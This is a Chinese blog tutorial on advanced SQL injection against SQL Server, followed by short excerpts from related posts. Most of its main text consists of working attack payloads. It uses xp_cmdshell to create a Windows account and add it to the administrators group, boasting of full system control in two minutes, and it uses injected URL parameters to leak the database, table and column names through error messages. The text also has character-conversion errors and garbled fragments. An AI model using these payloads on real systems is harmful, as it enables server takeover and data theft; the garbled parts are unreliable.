SQL注入詳解 6

2021-09-05 15:28:12 字數 1225 閱讀 2972

高 級 篇

第一節、利用系統表注入sqlserver 資料庫

sqlserver 是乙個功能強大的資料庫系統,與作業系統也有緊密的聯絡,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了乙個跳板,我們先來看看幾個具體的例子:

① master..xp_cmdshell "net user name password /add"-- 分號; 在sqlserver 中表示隔開前後兩句語句,-- 表示後面的語句為注釋,所以,這句語句在sqlserver 中將被分成兩句執行,先是select 出id=1 的記錄,然後執行儲存過程xp_cmdshell ,這個儲存過程用於呼叫系統命令,於是,用net 命令新建了使用者名為name 、密碼為password 的windows 的帳號,接著:

② master..xp_cmdshell "net localgroup administrators name /add"-- 將新建的帳號name 加入管理員組,不用兩分鐘,你已經拿到了系統最高許可權!當然,這種方法只適用於用sa 連線資料庫的情況,否則,是沒有許可權呼叫xp_cmdshell 的。

③ http://site/url.asp?id=1 and db_name()>0 前面有個類似的例子and user>0 ,作用是獲取連線使用者名稱,db_name() 是另乙個系統變數,返回的是連線的資料庫名。

⑤ http://site/url.asp?id=1 and (select top 1 name from sysobjects where xtype=u and status>0)>0 前面說過,sysobjects 是sqlserver 的系統表,儲存著所有的表名、檢視、約束及其它物件,xtype=u and status>0 ,表示使用者建立的表名,上面的語句將第乙個表名取出,與0 比較大小,讓報錯資訊把表名暴露出來。第

二、第三個表名怎麼獲取?還是留給我們聰明的讀者思考吧。

⑥ http://site/url.asp?id=1 and (select top 1 col_name(object_id( 表名),1) from sysobjects)>0 從⑤拿到表名後,用object_id( 『表名』) 獲取表名對應的內部id ,col_name( 表名id,1) 代表該錶的第1 個欄位名,將1 換成2,3,4... 就可以逐個獲取所猜解表裡面的欄位名。

#資料庫技術

SQL注入詳解 6

高 級 篇 第一節 利用系統表注入sqlserver 資料庫 sqlserver 是乙個功能強大的資料庫系統,與作業系統也有緊密的聯絡,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了乙個跳板,我們先來看看幾個具體的例子 master.xp cmdshell net user name pa...

sql注入詳解

我們先了解web 程式三層架構 三層架構 3 tier architecture 通常意義上就是將整個業務應用劃分為 介面層 user inte ce layer 業務邏輯層 business logic layer 資料訪問層 data access layer 區分層次的目的即為了 高內聚低耦合...

SQL注入詳解

sql 注入 sqli 是一種注入攻擊,可以執行惡意 sql 語句。它通過將任意 sql 插入資料庫查詢,使攻擊者能夠完全控制 web 應用程式後面的資料庫伺服器。攻擊者可以使用 sql 注入漏洞繞過應用程式安全措施 可以繞過網頁或 web 應用程式的身份驗證和授權,並檢索整個 sql 資料庫的內容...